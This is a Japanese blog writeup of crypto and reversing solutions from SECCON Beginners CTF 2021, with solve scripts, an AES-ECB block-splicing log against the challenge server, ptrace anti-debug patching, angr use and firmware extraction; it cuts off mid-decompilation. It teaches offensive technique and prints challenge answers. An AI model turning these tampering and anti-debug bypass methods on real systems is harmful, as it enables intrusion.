4
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

SECCON Beginners CTF 2021 Writeup

Posted at

概要

SECCON Beginners CTF 2021 (2021/05/22 14:00 ~ 2021/05/23 14:00 JST) に1人チームで参加した。
結果は3850点で、正の点数を取った943チーム中14位だった。
スコアの推移グラフ
スコアの推移グラフ (自分のみ)

解けた問題と時刻は、以下のようになった。

category challenge point time
welcome welcome 51 2021/05/22 14:00:46
web osoba 51 2021/05/22 14:02:04
misc git-leak 58 2021/05/22 14:04:51
misc depixelization 136 2021/05/22 14:40:09
crypto simple_RSA 75 2021/05/22 14:50:13
web Werewolf 70 2021/05/22 21:32:49
web json 109 2021/05/22 22:04:18
crypto Logical_SEESAW 118 2021/05/22 22:24:43
crypto Imaginary 264 2021/05/22 22:44:45
reversing only_read 55 2021/05/22 22:51:40
reversing firmware 302 2021/05/23 01:41:00
reversing be_angry 234 2021/05/23 02:03:00
misc fly 411 2021/05/23 02:22:59
reversing please_not_trace_me 242 2021/05/23 03:10:12
reversing children 73 2021/05/23 03:33:13
pwnable rewriter 108 2021/05/23 03:44:25
pwnable beginners_rop 264 2021/05/23 05:00:12
pwnable uma_catch 387 2021/05/23 08:37:38
misc Mail_Address_Validator 76 2021/05/23 09:17:48
crypto GFM 222 2021/05/23 10:43:58
pwnable 2021_emulator 449 2021/05/23 11:25:29
web check_url 95 2021/05/23 13:55:00

解けた問題

welcome

welcome

競技開始時に、Discordの#announcementsチャンネルでflagが発表された。

ctf4b{Welcome_to_SECCON_Beginners_CTF_2021}

crypto

simple_RSA

Pythonのソースコードとその出力が与えられた。

このプログラムでは、flage (= 3)乗をnで割った余りを出力しているが、
flagの3乗がnより小さいことが読み取れるので、普通にこの値の3乗根を求めればflagが求まる。
3乗根は二分探索で求めることができる。

decode.py
decode.py
import sys

params = {}

for l in sys.stdin.readlines():
	key, value = l.split(" = ")
	params[key] = int(value)

no = 0
yes = params["c"]

while no + 1 < yes:
	m = no + (yes - no) // 2
	if m * m * m >= params["c"]:
		yes = m
	else:
		no = m

print(yes)

ans = ""
v = yes

while v > 0:
	ans = chr(v & 0xff) + ans
	v >>= 8

print(ans)
ctf4b{0,1,10,11...It's_so_annoying.___I'm_done}

Logical_SEESAW

Pythonのソースコードとその出力が与えられた。

このプログラムでは、flagの各ビットに対して50%の確率でkeyの対応するビットとのANDを取った値に置き換える、
という処理を16回行い、その結果のリストを出力している。

すなわち、flagで0のビットは常に0になり、1のビットは1になる可能性も0になる可能性もあるはずである。
そこで、とりあえず全部の結果列のORを取ったところ、正解のflagが得られた。

solve.py
solve.py
import sys

key = "cipher = "
data = sys.stdin.readline()
if data[0:len(key)] == key:
	cipher = eval(data[len(key):])
else:
	print("cipher = ?")
	sys.exit(1)

cur = cipher[0]

for c in cipher:
	for i in range(len(c)):
		cur = cur[0:i] + str(eval(cur[i] + "|" + c[i])) + cur[i+1:]

while len(cur) % 8 != 0:
	cur = "0" + cur

ans = ""

i = 0
while i < len(cur):
	ans += chr(eval("0b" + cur[i:i+8]))
	i += 8

print(ans)
ctf4b{Sh3_54w_4_SEESAW,_5h3_54id_50}

GFM

プログラムと思われるテキストファイルproblem.sageと、その出力と思われるテキストファイルが与えられた。

プログラムの内容は、ランダムな行列keyとflagの情報が入った行列Mを用い、
keykey * M * key を出力するというものであった。
また、この計算にはGF(p)なるものを用いるようで、この素数pも出力していた。
(^q^)くおえうえーーーるえうおおおwww
一見難しそうだが、調べてみると普通にpで割った余りを求めればいいようである。
ガロア体と拡大体 : kei@sodan

あとは普通にガウスの消去法でkeyの逆行列を求めて掛けるだけで、正解のflagを含む行列が求まった。

solve.py
solve.py
p = 331941721759386740446055265418196301559
key = [
[116401981595413622233973439379928029316, 198484395131713718904460590157431383741, 210254590341158275155666088591861364763,  63363928577909853981431532626692827712,  85569529885869484584091358025414174710, 149985744539791485007500878301645174953, 257210132141810272397357205004383952828, 184416684170101286497942970370929735721],
[ 42252147300048722312776731465252376713, 199389697784043521236349156255232274966, 310381139154247583447362894923363190365, 275829263070032604189578502497555966953, 292320824376999192958281274988868304895, 324921185626193898653263976562484937554,  22686717162639254526255826052697393472, 214359781769812072321753087702746129144],
[211396100900282889480535670184972456058, 210886344415694355400093466459574370742, 186128182857385981551625460291114850318,  13624871690241067814493032554025486106, 255739890982289281987567847525614569368, 134368979399364142708704178059411420318, 277933069920652939075272826105665044075,  61427573037868265485473537350981407215],
[282725280056297471271813862105110111601, 183133899330619127259299349651040866360, 275965964963191627114681536924910494932, 290264213613308908413657414549659883232, 140491946080825343356483570739103790896, 115945320124815235263392576250349309769, 240154953119196334314982419578825033800,  33183533431462037262108359622963646719],
[ 53797381941014407784987148858765520206, 136359308345749561387923094784792612816,  26225195574024986849888325702082920826, 262047729451988373970843409716956598743, 170482654414447157611638420335396499834, 270894666257247100850080625998081047879,  91361079178051929124422796293638533509,  34320536938591553179352522156012709152],
[266361407811039627958670918210300057324,  40603082064365173791090924799619398850, 253357188908081828561984991424432114534, 322939245175391203579369607678957356656,  63315415224740483660852444003806482951, 224451355249970249493628425010262408466,  80574507596932581147177946123110074284, 135660472191299636620089835364724566497],
[147031054061160640084051220440591645233, 286143152686211719101923153591621514114, 330366815640573974797084150543488528130, 144943808947651161283902116225593922999, 205798118501774672701619077143286382731, 317326656225121941341827388220018201533,  14319175936916841467976601008623679266, 112709661623759566156255015500851204670],
[306746575224464214911885995766809188593,  35156534122767743923667417474200538878,  35608800809152761271316580867239668942, 259728427797578488375863755690441758142,  29823482469997458858051644485250558639, 137507773879704381525141121774823729991,  29893063272339035080311541822496817623, 292327683738678589950939775184752636265]
]
enc = [
[133156758362160693874249080602263044484, 293052519705504374237314478781574255411,  72149359944851514746901936133544542235,  56884023532130350649269153560305458687,  67693140194970657150958369664873936730, 227562364727203645742246559359263307899,  98490363636066788474326997841084979092, 323336812987530088571937131837711189774],
[244725074927901230757605861090949184139,  63515536426726760809658259528128105864, 297175420762447340692787685976316634653, 279269959863745528135624660183844601533, 203893759503830977666718848163034645395, 163047775389856094351865609811169485260, 103694284536703795013187648629904551283, 322381436721457334707426033205713602738],
[ 17450567396702585206498315474651164931, 105594468721844292976534833206893170749,  10757192948155933023940228740097574294, 132150825033376621961227714966632294973, 329990437240515073537637876706291805678,  57236499879418458740541896196911064438, 265417446675313880790999752931267955356,  73326674854571685938542290353559382428],
[270340230065315856318168332917483593198, 217815152309418487303753027816544751231,  55738850736330060752843300854983855505, 236064119692146789532532278818003671413, 104963107909414684818161043267471013832, 234439803801976616706759524848279829319, 173296466130000392237506831379251781235,  34841816336429947760241770816424911200],
[140341979141710030301381984850572416509, 248997512418753861458272855046627447638,  58382380514192982462591686716543036965, 188097853050327328682574670122723990784, 125356457137904871005571726686232857387,  55692122688357412528950240580072267902,  21322427002782861702906398261504812439,  97855599554699774346719832323235463339],
[298368319184145017709393597751160602769, 311011298046021018241748692366798498529, 165888963658945943429480232453040964455, 240099237723525827201004876223575456211, 306939673050020405511805882694537774846,   7035607106089764511604627683661079229, 198278981512146990284619915272219052007, 255750707476361671578970680702422436637],
[ 45315424384273600868106606292238082349,  22526147579041711876519945055798051695,  15778025992115319312591851693766890019, 318446611756066795522259881812628512448, 269954638404267367913546070681612869355, 205423708248276366495211174184786418791,  92563824983279921050396256326760929563, 209843107530597179583072730783030298674],
[   662653811932836620608984350667151180, 304181885849319274230319044357612000272, 280045476178732891877948766225904840517, 216340293591880460916317821948025035163,  79726526647684009633247003110463447210,  36010610538790393011235704307570914178, 284067290617158853279270464803256026349,  45816877317461535723616457939953776625]
]

def add(a, b):
	return (a + b) % p

def sub(a, b):
	return (a - b + p) % p

def mul(a, b):
	return (a * b) % p

def inv(a):
	return pow(a, p - 2, p)

def div(a, b):
	return mul(a, inv(b))

def matmul(a, b):
	ans = [[0 for j in range(len(b[0]))] for i in range(len(a))]
	for k in range(len(a[0])):
		for i in range(len(a)):
			for j in range(len(b[0])):
				ans[i][j] = add(ans[i][j], mul(a[i][k], b[k][j]))
	return ans

left = [[e for e in row] for row in key]
right = [[1 if i == j else 0 for j in range(len(key[0]))] for i in range(len(key))]

for i in range(len(left)):
	iv = inv(left[i][i])
	for j in range(len(left[i])):
		left[i][j] = mul(left[i][j], iv)
		right[i][j] = mul(right[i][j], iv)
	for j in range(i + 1, len(left)):
		mult = left[j][i]
		for k in range(len(left[i])):
			left[j][k] = sub(left[j][k], mul(left[i][k], mult))
			right[j][k] = sub(right[j][k], mul(right[i][k], mult))

for i in range(len(left) - 1, -1, -1):
	for j in range(i - 1, -1, -1):
		mult = left[j][i]
		for k in range(len(left[j])):
			left[j][k] = sub(left[j][k], mul(left[i][k], mult))
			right[j][k] = sub(right[j][k], mul(right[i][k], mult))

print("left = " + str(left))
print("right = " + str(right))

print("key * right = " + str(matmul(key, right)))

decrypted = matmul(matmul(right, enc), right)

print("decrypted = " + str(decrypted))

result = ""

for row in decrypted:
	for c in row:
		if c < 0x100:
			result += chr(c)

print(result)
ctf4b{d1d_y0u_pl4y_w1th_m4tr1x_4nd_g4l0is_f1eld?}

Imaginary

TCPサーバーの接続情報と、そこで動いていると考えられるPythonのソースコードが与えられた。

プログラムには以下の機能がある。

  • 複素数をリストに追加する
  • 複素数のリストを表示する
  • AESで暗号化した複素数のリストを出力する
  • AESで暗号化した複素数のリストを読み込む
  • 1337i がリストに含まれていれば、flagを出力する
  • 終了する

リストへの追加はa + biの形でのみ行うことができ、1337iを直接追加することはできない。
また、Tera Termで暗号化したリストを出力する操作をすると、
パディングが入ったデータも出力されるため画面が荒れることがある。

とりあえずAESの1ブロックに収まるように空のリストを暗号化して出力してみた。
(この操作はTera Termだと画面が荒れたため、TCP/IPテストツールで行った)
その結果、出力されたデータは1ブロック分しか無く、IVのようなものが付いていないことに気がついた。
よく見たら、AES.MODE_ECBに設定されている。
これは各ブロックを独立に暗号化する方法のようだ。
従って、ブロックごとに別の列を接続することができる。

この性質を利用するため、以下の2本のリストを用意した。

{"4444 + 1337i": [4444, 1337], "44444 + 1i": [44444, 1]}
{"411111111111111111111111111 + 1337i": [411111111111111111111111111, 1337]}

32バイト目までを最初のリスト、その後を2番目のリストにすると、以下のようになり、1337iがリストに入る。

{"4444 + 1337i": [4444, 1337], "1337i": [411111111111111111111111111, 1337]}
実際の操作ログ
Welcome to Secret IMAGINARY NUMBER Store!
1. Save a number
2. Show numbers
3. Import numbers
4. Export numbers
0. Exit
> 1
Real part> 4444
Imaginary part> 1337
1. Save a number
2. Show numbers
3. Import numbers
4. Export numbers
0. Exit
> 1
Real part> 44444
Imaginary part> 1
1. Save a number
2. Show numbers
3. Import numbers
4. Export numbers
0. Exit
> 2
--------------------------------------------------
4444 + 1337i: (4444, 1337)
44444 + 1i: (44444, 1)
--------------------------------------------------
1. Save a number
2. Show numbers
3. Import numbers
4. Export numbers
0. Exit
> 4
{"4444 + 1337i": [4444, 1337], "44444 + 1i": [44444, 1]}
Exported:
5fad862755ed9e20bdb6fcf7bea154af4abec78f7466406ce35981b821ed688835fbced27bd0b1547c049cd209766d7f4be90f1ceb96a3b936e5f18472a46e73
1. Save a number
2. Show numbers
3. Import numbers
4. Export numbers
0. Exit
> 0
Welcome to Secret IMAGINARY NUMBER Store!
1. Save a number
2. Show numbers
3. Import numbers
4. Export numbers
0. Exit
> 1
Real part> 411111111111111111111111111
Imaginary part> 1337
1. Save a number
2. Show numbers
3. Import numbers
4. Export numbers
0. Exit
> 4
{"411111111111111111111111111 + 1337i": [411111111111111111111111111, 1337]}
Exported:
d9dbe0bc485efec8e9133346771c7d75164d382d3b0976bd56bf827e770dbe1a7f762c4f5ed731acde195888c77806219316130cba530eced6aba2b2728de2abcd5fe366f2cad5f88dcb41586bf94409
1. Save a number
2. Show numbers
3. Import numbers
4. Export numbers
0. Exit
> 0
Welcome to Secret IMAGINARY NUMBER Store!
1. Save a number
2. Show numbers
3. Import numbers
4. Export numbers
0. Exit
> 3
Exported String> 5fad862755ed9e20bdb6fcf7bea154af4abec78f7466406ce35981b821ed68887f762c4f5ed731acde195888c77806219316130cba530eced6aba2b2728de2abcd5fe366f2cad5f88dcb41586bf94409
Imported.
--------------------------------------------------
4444 + 1337i: (4444, 1337)
1337i: (411111111111111111111111111, 1337)
--------------------------------------------------
1. Save a number
2. Show numbers
3. Import numbers
4. Export numbers
0. Exit
> 5
Congratulations!
The flag is ctf4b{yeah_you_are_a_member_of_imaginary_number_club}
1. Save a number
2. Show numbers
3. Import numbers
4. Export numbers
0. Exit
> 0
ctf4b{yeah_you_are_a_member_of_imaginary_number_club}

reversing

only_read

ELFファイルが与えられた。

TDM-GCCのobjdumpで逆アセンブルしてみると、以下のようなmovzbl、cmp、jneのパターンが続いていた。

    11e0:	0f b6 45 e0          	movzbl -0x20(%rbp),%eax
    11e4:	3c 63                	cmp    $0x63,%al
    11e6:	0f 85 da 00 00 00    	jne    12c6 <main+0x13d>

そこで、以下のプログラムによりcmpで書かれている値を抽出したところ、flagが得られた。

get.pl
get.pl
#!/usr/bin/perl

use strict;
use warnings;

my $ans = "";

while (my $line = <STDIN>){
	chomp($line);
	if ($line =~ /cmp\s+\$0x([0-9a-fA-F]+),\%al/) {
		$ans .= chr(hex($1));
	}
}

print "$ans\n";
ctf4b{c0n5t4nt_f0ld1ng}

children

ELFファイルが与えられた。

これから10個の子プロセスを作るよ。 彼らの情報を正しく答えられたら、FLAGをあげるね。 ちなみに、子プロセスは追加の子プロセスを生む可能性があるから注意してね。

とのことである。

CS50 IDE上のGDBで実行してみると、
[Detaching after fork from child process 1013]のような表示が出て、
その後子プロセスのPIDを聞かれるので、表示で出た数値を入れればいいようだった。
表示が一度に2回出ることがあり、この時は後に出た表示の方の数値を入れれば良いようだった。
最後に生まれた子プロセスの数を聞かれるので、出た表示の数を入れれば良いようだった。

実行例
~/ $ gdb ./children 
Reading symbols from ./children...
(No debugging symbols found in ./children)
(gdb) r
Starting program: /home/ubuntu/children 
I will generate 10 child processes.
They also might generate additional child process.
Please tell me each process id in order to identify them!

[Detaching after fork from child process 1013]
Please give me my child pid!
1013
ok
[Detaching after fork from child process 1014]
Please give me my child pid!
1014
ok
[Detaching after fork from child process 1015]
[Detaching after fork from child process 1016]
Please give me my child pid!
1016
ok
[Detaching after fork from child process 1017]
Please give me my child pid!
1017
ok
[Detaching after fork from child process 1018]
Please give me my child pid!
1018
ok
[Detaching after fork from child process 1019]
Please give me my child pid!
1019
ok
[Detaching after fork from child process 1020]
Please give me my child pid!
1020
ok
[Detaching after fork from child process 1021]
Please give me my child pid!
1021
ok
[Detaching after fork from child process 1022]
Please give me my child pid!
1022
ok
[Detaching after fork from child process 1023]
[Detaching after fork from child process 1025]
Please give me my child pid!
1025
ok
How many children were born?
12
ctf4b{p0werfu1_tr4sing_t0015_15_usefu1} [Inferior 1 (process 1009) exited normally]
(gdb) q
~/ $ 
ctf4b{p0werfu1_tr4sing_t0015_15_usefu1}

please_not_trace_me

ELFファイルが与えられた。

フラグを復号してくれるのは良いけど,表示してくれない!!

とのことである。
TDM-GCCのobjdumpで逆アセンブルしてみたが、直接flagを特定するのは難しそうであった。
CS50 IDE で普通に実行するとflag decrypted. bye.が出力されるが、
GDB上で実行するとprease not trace me...が出力される。

とりらえず、flag decrypted. bye.の出力の直後に無限ループを入れ、止めるようにした。
すなわち、0x1335バイト目(以下の部分)からEB FE (1: jmp 1b) を書き込んだ。
なお、今回のELFファイルは、逆アセンブル結果中のアドレスとファイル中の位置が一致するようである。

    1329:	48 8d 3d d4 0c 00 00 	lea    0xcd4(%rip),%rdi        # 2004 <_IO_stdin_used+0x4>
    1330:	e8 0b fd ff ff       	callq  1040 <puts@plt>
    1335:	48 c7 45 d8 12 00 00 	movq   $0x12,-0x28(%rbp)

この状態でCS50 IDEで実行し、止まった後GDBでアタッチしようとしたが、
既にtraceされているみたいなメッセージが出て、情報を得ることができなかった。

逆アセンブル結果をよく見るとptraceを呼び出している場所が2箇所あるので、潰すことにした。
すなわち、0x12f3バイト目からと0x1481バイト目からのそれぞれ5バイトを90 (NOP) で埋めた。

    12da:	b9 00 00 00 00       	mov    $0x0,%ecx
    12df:	ba 01 00 00 00       	mov    $0x1,%edx
    12e4:	be 00 00 00 00       	mov    $0x0,%esi
    12e9:	bf 00 00 00 00       	mov    $0x0,%edi
    12ee:	b8 00 00 00 00       	mov    $0x0,%eax
    12f3:	e8 88 fd ff ff       	callq  1080 <ptrace@plt>

    1468:	b9 00 00 00 00       	mov    $0x0,%ecx
    146d:	ba 01 00 00 00       	mov    $0x1,%edx
    1472:	be 00 00 00 00       	mov    $0x0,%esi
    1477:	bf 00 00 00 00       	mov    $0x0,%edi
    147c:	b8 00 00 00 00       	mov    $0x0,%eax
    1481:	e8 fa fb ff ff       	callq  1080 <ptrace@plt>

すると、GDBを介した実行でなくてもprease not trace me...が出力されるようになった。
調べてみると、これはptracePTRACE_TRACEMEを渡している感じのようであり、
実験の結果2回目の呼び出しは失敗するようであった。
そこで、2回目の呼び出しではエラーを返した状態にすることにした。
すなわち、GDBでブレークポイントを置いて2箇所のどっちが先に呼び出されるかを調べ、
後に呼び出された0x1481バイト目について、

    147c:	b8 00 00 00 00       	mov    $0x0,%eax
    1481:	e8 fa fb ff ff       	callq  1080 <ptrace@plt>

の部分を

    147c:	b8 ff ff ff ff       	mov    $-1,%eax
    1481:	48 98 90 90 90       	cltd; nop; nop; nop

と書き換えることで、%rax-1が入るようにした。
これで、GDBを介して実行してもflag decrypted. bye.が出るようになった。

次は、この状態でメモリの中からflagを探す作業である。
GDBのfindでは見つからなかったが、main関数からmalloc関数を呼び出している場所の次(0x149Eバイト目)
にブレークポイントを置いてmalloc関数の返り値を確認し、
flag decrypted. bye.が出力された後にその周辺を探す(x/32s 返り値)ことでflagが得られた。

    1494:	bf 10 00 00 00       	mov    $0x10,%edi
    1499:	e8 d2 fb ff ff       	callq  1070 <malloc@plt>
    149e:	48 89 45 e0          	mov    %rax,-0x20(%rbp)

なお、表示されているアドレスをそのままブレークポイントとして使おうとしても、うまくいかなかった。
そこで、まずbreak mainでmain関数の最初にブレークポイントを設置し、
そこで止まった時に表示されるmain関数のアドレス、ダンプ結果中のmain関数のアドレス、
そしてダンプ結果中の本命のブレークポイントを設置したい場所のアドレスに基づいて、
本命のブレークポイントを設置するためのアドレスを求めた。

ctf4b{d1d_y0u_d3crypt_rc4?}

be_angry

ELFファイルが与えられた。

TDM-GCCのobjdumpで逆アセンブルしてみたが、長くてパターンも見えなかったので、諦めてangrで殴ることにした。
angrでシンボリック実行をやってみる - ももいろテクノロジー
を参考にvirtualenvを用意してangrをインストールし、スクリプトを書いた。
しかし、プロパティが見つからないなどのエラーでうまく動かなかった。
そこで、
angr例文集 書いて覚えるバイナリ自動解析技術 - Qiita
を参考に調整した。
自動で関数のアドレスを求める方法はわからなかったが、

The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.

というメッセージが出ていたので、
ファイル中のアドレスに0x400000を加えたものが指定するべきアドレスになると仮定した。
そして、逆アセンブル結果を参考に、Correct!!を出力している場所を到達するべきアドレス、
Incorrect!!を出力している場所を回避するべきアドレスとして指定した。

naguru.py
naguru.py
import angr

p = angr.Project("./chall", load_options={"auto_load_libs":False})

main_dump_addr = 0x1192

main_addr = 0x400000 + main_dump_addr # p.loader.main_bin.get_symbol('main').addr
success_addr = main_addr + 0x2532 - main_dump_addr

incorrects = [
	0x2516, 0x254e, 0x256a, 0x2586, 0x264c, 0x26bd
]
incorrect_addrs = [main_addr + a - main_dump_addr for a in incorrects]

# initial_state = p.factory.blank_state(addr=main_addr)
# initial_path = p.factory.path(initial_state)
# pg = p.factory.path_group(initial_path)

state = p.factory.entry_state()
pg = p.factory.simulation_manager(state)

e = pg.explore(find=(success_addr,), avoid=tuple(incorrect_addrs))

if len(e.found) > 0:
	# s = e.found[0].state
	s = e.found[0]
	print("%r" % s.posix.dumps(0))

その結果、数分でflagが得られた。
モジュールConfigParserが無いというようなメッセージも出ているが、無視しても良さそうであった。
ModuleNotFoundError: No module named 'ConfigParser' - Qiita
小文字にするのが正しい…?でもangrを修正する方法はわからないし…

ctf4b{3nc0d3_4r1thm3t1c}

firmware

独自形式のアーカイブファイル?firmware.binと、テキストファイルREADME.txtが与えられた。

アーカイブファイルの冒頭部分に改行を補うと、以下のようになっていた。

3d007ab1a15cd0a77d2a6b7f1d8dcdc563a4d84bab82b6f76cf8bb68d2d4962b v1964.5.3 ctf4b networks
e03b0dcb-f91d-4e1e-ad82-23146780cd2a ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
ascii.txt e48277e0cc310a606fb5319754423603
square.svg 312026e039ec61d230dd86797b032a3e
bootstrap-grid.css 9a06dd7167f88983e5a14e67508b2a82
fa-regular-400.woff2 8eb1b3e8681657092171b6aa809493c2
file.svg 8f2d21c929c00e6b2b2b33582fc414e5
logo.png 3d6f672ef957418b0b15b00d27cfa44a
firm 21df362e00282863ad2b8a91c5afd98a
logo.jpg c1c0531f3371a1ccc25385f18b58a06e
folder.svg 70e2e882c80a772863672b93cd8d33d7
certificate.pem 03badb281c5e6c779ee1194826a21ffd
index.html a953910110ce3fb387eb97c1093d45ca
plus-square.svg d6dc15c39345eca10ca31f6a5b961868
star.svg 2476ae39f9f761b98fd7d6094da61047

この中でfirmという場所が怪しい。
firmの直前はlogo.pngであり、先頭からfirmまでに.pngはこの1個しかない。
そこで、アーカイブファイルからPNGデータを探し、その最後の部分を見ると、

161B0  0D 8B 61 8B 94 0D 8B 61 8B 94 0D 8B 61 8B 94 0D
161C0  8B 61 8B 94 0D 8B 61 8B 94 0D 8B F1 5F C1 EA 8B
161D0  DA 5B 8A 3B 5A 00 00 00 00 49 45 4E 44 AE 42 60  .........IEND.B.
161E0  82 7F 45 4C 46 01 01 01 00 00 00 00 00 00 00 00  ..ELF...........
161F0  00 03 00 28 00 01 00 00 00 D9 07 00 00 34 00 00
16200  00 D4 2D 00 00 00 04 00 05 34 00 20 00 09 00 28

となっており、PNGデータの直後にELFファイルがあることがわかった。
さらに、この次のJPGファイル(他のファイルを観察した所、先頭はFF D8のようだ)を探すと、

19410  00 00 00 00 00 11 00 00 00 03 00 00 00 00 00 00
19420  00 00 00 00 00 CF 2C 00 00 05 01 00 00 00 00 00
19430  00 00 00 00 00 01 00 00 00 00 00 00 00 FF D8 FF
19440  E0 00 10 4A 46 49 46 00 01 01 02 00 76 00 76 00  ...JFIF.....v.v.
19450  00 FF DB 00 43 00 03 02 02 02 02 02 03 02 02 02
19460  03 03 03 03 04 06 04 04 04 04 04 08 06 06 05 06

のようになっていた。
そこで、この間の [0x161E1, 0x1943D) バイト目をfirmとして抽出することにした。
例えば

dd bs=1 skip=90593 count=12892 if=firmware/firmware.bin of=firm

とすることで抽出することができる。
ddコマンドの使い方 - Qiita

得られたELFファイルはTDM-GCCのobjdumpでも逆アセンブルができなかったが、
Raspberry Pi上のobjdumpを使えば逆アセンブルができた。

逆アセンブル結果を気合でC言語で書き下すと、以下のようになった。
(これはあくまで処理内容を理解するためのメモであり、C言語としての動作は確認していない)

firm-kakikudasi.c
firm-kakikudasi.c
unsigned int array_0EA4[] = {
	0x00000030, 0x00000027, 0x00000035,
	0x00000067, 0x00000031, 0x00000028, 0x0000003A,
	0x00000063, 0x00000027, 0x0000000C, 0x00000037,
	0x00000036, 0x00000025, 0x00000062, 0x00000030,
	0x00000036, 0x0000000C, 0x00000035, 0x0000003A,
	0x00000021, 0x0000003E, 0x00000024, 0x00000067,
	0x00000021, 0x00000036, 0x0000000C, 0x00000032,
	0x0000003D, 0x00000032, 0x00000062, 0x0000002A,
	0x00000020, 0x0000003A, 0x00000060, 0x0000000C,
	0x00000021, 0x00000036, 0x00000025, 0x00000060,
	0x00000032, 0x00000062, 0x00000020, 0x0000000C,
	0x00000032, 0x0000000C, 0x0000003F, 0x00000063,
	0x00000027, 0x0000000C, 0x0000003C, 0x00000035,
	0x0000000C, 0x00000066, 0x00000036, 0x00000030,
	0x00000021, 0x00000036, 0x00000064, 0x00000020,
	0x0000002E, 0x00000059
};

char sp[4544 + 24];

int main(void) {
	unsigned int r0, r1, r2, r3, r4, r5, r6, r7;
	/* 8f0 */
	r7 = (unsigned int)sp;
	r3 = r7 + 4544 + 20;
	/* 8fa */
	r1 = 0x0001166E; /* d20 */
	r1 += 0x902; /* r1 += PC */
	/* 0x900 */
	r2 = 0x0000007C; /* d24 */
	r2 = *(unsigned int*)(r1 + r2);
	r2 = *(unsigned int*)r2;
	*(unsigned int*)r3 = r2;
	/* 90a */
	r2 = 0;
	r4 = r7 + 24 - 12;
	r0 = socket(2, 1, 0);
	*(unsigned int*)r4 = r0;
	/* 920 */
	r3 = r7 + 24 - 12;
	r3 = *(unsigned int*)r3;
	if ((int)r3 < 0) {
		/* 92c */
		r3 = (unsigned int)"Failed to set socket."; /* 0x932 + 0x482 */
		perror(r3);
		return 1;
	}
	/* 93a */
	r3 = r7 + 56 - 24;
	*(unsigned short*)r3 = 2;
	/* 944 */
	r3 = htons(8080);
	r2 = r3;
	/* 950 */
	r3 = r7 + 56 - 24;
	*(unsigned short*)(r3 + 2) = r2;
	/* 958 */
	r3 = r7 + 56 - 24;
	*(unsigned int*)(r3 + 4) = 0;
	/* 962 */
	r3 = r7 + 24 - 12;
	r0 = bind(*(unsigned int*)r3, r7 + 56 - 24, 16);
	/* 976 */
	r3 = r0;
	if (r3 != 0) {
		/* 97c */
		r3 = (unsigned int)"Failed to bind."; /* 0x982 + 0x44A */
		perror(r3);
		return 1;
	}
	/* 98a */
	r3 = r7 + 24 - 12;
	r0 = listen(*(unsigned int*)r3, 5);
	/* 998 */
	r3 = r0;
	if (r3 != 0) {
		/* 99e */
		r3 = (unsigned int)"Failed to listen."; /* 0x9A4 + 0x438 */
		perror(r3);
		return 1;
	}
	for (;;) {
		/* 9ac */
		r3 = r7 + 24 - 20;
		*(unsigned int*)r3 = 16;
		/* 9b6 */
		r4 = r7 + 24 - 8;
		r3 = r7 + 24 - 12;
		/* 9ce */
		r0 = accept(*(unsigned int*)r3, r7 + 56 - 8, r7 + 24 - 20);
		*(unsigned int*)r4 = r0;
		/* 9d6 */
		r4 = r7 + 24 - 4;
		r1 = (unsigned int)"r"; /* 0x9E2 + 0x40E */
		r0 = (unsigned int)"ascii.txt"; /* 0x9E8 + 0x40C */
		r0 = fopen(r0, r1);
		*(unsigned int*)r4 = r0;
		/* 9ee */
		r3 = r7 + 24 - 4;
		r3 = *(unsigned int*)r3;
		if (r3 == 0) {
			/* 9fa */
			r3 = (unsigned int)"Failed to read file."; /* 0xA00 + 0x400 */
			perror(r3);
			/* a04 */
			r3 = r7 + 24 - 8;
			close(*(unsigned int*)r3);
			/* a10 */
			return 1;
		}
		/* a14 */
		r3 = r7 + 24 - 4;
		fseek(*(unsigned int*)r3, 0, 2);
		/* a24 */
		r4 = r7 + 24;
		r3 = r7 + 24 - 4;
		r0 = ftell(*(unsigned int*)r3);
		*(unsigned int*)r4 = r0;
		/* a36 */
		r3 = r7 + 24 - 4;
		fseek(*(unsigned int*)r3, 0, 0);
		/* a46 */
		r3 = r7 + 24;
		r3 = *(unsigned int*)r3;
		r4 = r7 + 56 - 28;
		r0 = calloc(r3, 1);
		*(unsigned int*)r4 = r0;
		/* a5e */
		r3 = r7 + 56 - 28;
		r3 = *(unsigned int*)r3;
		if (r3 == 0) {
			/* a6a */
			r3 = (unsigned int)"Failed to read file."; /* 0xA70 + 0x390 */
			perror(r3);
			/* a74 */
			r3 = r7 + 24 - 8;
			close(*(unsigned int*)r3);
			/* a80 */
			return 1;
		}
		/* a84 */
		r3 = r7 + 24;
		r2 = *(unsigned int*)r3;
		r3 = r7 + 24 - 4;
		r0 = r7 + 56 - 28;
		fread(*(unsigned int*)r0, 1, r2, *(unsigned int*)r3);
		/* aa0 */
		r3 = r7 + 24 - 4;
		fclose(*(unsigned int*)r3);
		/* aac */
		r3 = r7 + 56 - 28;
		r2 = strlen(*(unsigned int*)r3);
		/* aba */
		r1 = r7 + 56 - 28;
		r0 = r7 + 24 - 8;
		send(*(unsigned int*)r0, *(unsigned int*)r1, r2, 0);
		/* ad0 */
		r3 = r7 + 56 - 28;
		free(*(unsigned int*)r3);
		/* adc */
		r3 = r7 + 376 - 4;
		r2 = (unsigned int)"This is a IoT device made by ctf4b networks. Password authentication is required to operate.\n"; /* 0xae8 + 0x334 */
		memcpy(r3, r2, 94);
		/* af2 */
		r2 = strlen(r7 + 376 - 4);
		/* b00 */
		r1 = r7 + 376 - 4;
		r0 = r7 + 24 - 8;
		send(*(unsigned int*)r0, r1, r2, 0);
		/* b14 */
		r3 = r7 + 344 - 12;
		r2 = (unsigned int)"Input password (password is FLAG) > "; /* 0xB20 + 0x35C */
		/* b1e */
		r4 = r3;
		r5 = r2;
		/* b22 */
		r0 = *(unsigned int*)r5; r5 += 4;
		r1 = *(unsigned int*)r5; r5 += 4;
		r2 = *(unsigned int*)r5; r5 += 4;
		r3 = *(unsigned int*)r5; r5 += 4;
		/* b24 */
		*(unsigned int*)r4 = r0; r4 += 4;
		*(unsigned int*)r4 = r1; r4 += 4;
		*(unsigned int*)r4 = r2; r4 += 4;
		*(unsigned int*)r4 = r3; r4 += 4;
		/* b26 */
		r0 = *(unsigned int*)r5; r5 += 4;
		r1 = *(unsigned int*)r5; r5 += 4;
		r2 = *(unsigned int*)r5; r5 += 4;
		r3 = *(unsigned int*)r5; r5 += 4;
		/* b28 */
		*(unsigned int*)r4 = r0; r4 += 4;
		*(unsigned int*)r4 = r1; r4 += 4;
		*(unsigned int*)r4 = r2; r4 += 4;
